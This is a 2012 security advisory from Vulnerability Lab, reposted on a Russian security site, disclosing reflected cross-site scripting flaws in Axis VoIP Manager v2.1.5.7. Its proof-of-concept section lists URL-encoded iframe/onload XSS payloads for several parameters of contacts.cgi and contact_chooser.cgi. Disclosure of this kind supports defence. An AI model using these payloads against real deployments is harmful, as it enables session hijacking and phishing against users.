Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  [waraxe-2012-SA#089] - Multiple Vulnerabilities in TorrentTrader 2.08

  [INTREST SEC] Atlassian Confluence Wiki XSS Vulnerability

  Vbulletin (blog_plugin_user
admin) v4.1.12 Sql Injection Vulnerability

  NeoBill CMS v0.8 Alpha - Multiple Web Vulnerabilities

From:Vulnerability Lab <research_(at)_vulnerability-lab.com>
Date:22 октября 2012 г.
Subject:Axis VoIP Manager v2.1.5.7 - Multiple Web Vulnerabilities



Title:
======
Axis VoIP Manager v2.1.5.7 - Multiple Web Vulnerabilities


Date:
=====
2012-09-09


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=686


VL-ID:
=====
686


Common Vulnerability Scoring System:
====================================
2.3


Introduction:
=============
Feel free to create Schedules (in PBX Features), Inbound Routes,  User Extensions (individually or using
Bulk Generator in Extensions & Directory), Feature Dial Codes (in PBX Features -> Feature Dial Codes),
IVR Menus (in PBX Features), ACD Queues, etc.

(Copy of the Vendor Homepage: http://www.axint.net/voip/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in the Axis VoIP Manager v2.1.5.7.


Report-Timeline:
================
2011-09-07: Public Disclosure


Status:
========
Unpublished


Affected Products:
==================
Axis
Product: VoIP Manager v2.1.5.7


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple non persistent cross site scripting vulnerabilities are detected in the Axis VoIP Manager User Portal v2.1.5.7.
The vulnerability allows an attackers (remote) to hijack website customer, moderator or admin sessions with medium or high
required user inter action. The bugs are located on client side in the contact_chooser.cgi and contacts.cgi files with the
bound vulnerable lastname, firstname, department, contact or manageg_usr application parameters.  Successful exploitation
result in application account steal, client side phishing & client-side content request manipulation. Exploitation requires
medium or high user inter action & without privileged web application user account.

Vulnerable Module(s):
[+] contact_chooser.cgi
[+] contacts.cgi

Vulnerable Parameter(s):
[+] lastname, firstname & department
[+] contact
[+] managed_usr


Proof of Concept:
=================
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required
user inter action and without privileged application user account. For demonstration or reproduce ...

Selection Filter

https://voip01.127.0.0.1:5999/asterisk/contacts.cgi?usr=demo-
100&type=1&type_selector=2&lastname=&lastname_match=1&firstna
me=
&firstname_match=1&department=%22%3E%3Ciframe%20src=a%
20onload=alert%28%22HI%22%29%20%3C&department_match=1
&action=Select


https://voip01.127.0.0.1:5999/asterisk/contacts.cgi?usr=demo-
100&type=1&type_selector=2&lastname=
&lastname_match=1&firstname=%22%3E%3Ciframe%20src=a%2
0onload=alert%28%22HI%22%29%20%3C&firstname_match=
1&department=&department_match=1&action=Select

https://voip01.127.0.0.1:5999/asterisk/contacts.cgi?usr=demo-
100&type=1&type_selector=2&
lastname=
%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22
%29%20%3C&lastname_match=1&firstname=&firstname_match=
1&department=&department_match=1&action=Select


Contact Chooser

https://voip01.127.0.0.1:5999/asterisk/contact_chooser.
cgi?contact=%22%3E
%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20
%3C


managed_usr - listing

https://voip01.127.0.0.1:5999/asterisk/contacts.cgi?type=2&usr=demo-
100&managed_usr=%22%3E%3Ciframe%20src=
a%20onload=alert%28%22HI%22%29%20%3C&type_selecto
r=2&lastname=&lastname_match=1&firstname=
&firstname_match=1&department=&department_match=1&action=Select+



Risk:
=====
The security risk of the non persistent (client side) cross site scripting vulnerabilities are estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri ([email protected])


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com    - www.vuln-lab.com       - www.vulnerability-lab.com/register
Contact:    [email protected] - [email protected]       - [email protected]
Section:    video.vulnerability-lab.com - forum.vulnerability-lab.com       - news.vulnerability-lab.com
Social:    twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab       - youtube.com/user/vulnerability0lab
Feeds:    vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

       Copyright © 2012 | Vulnerability Laboratory



-- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: [email protected]

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород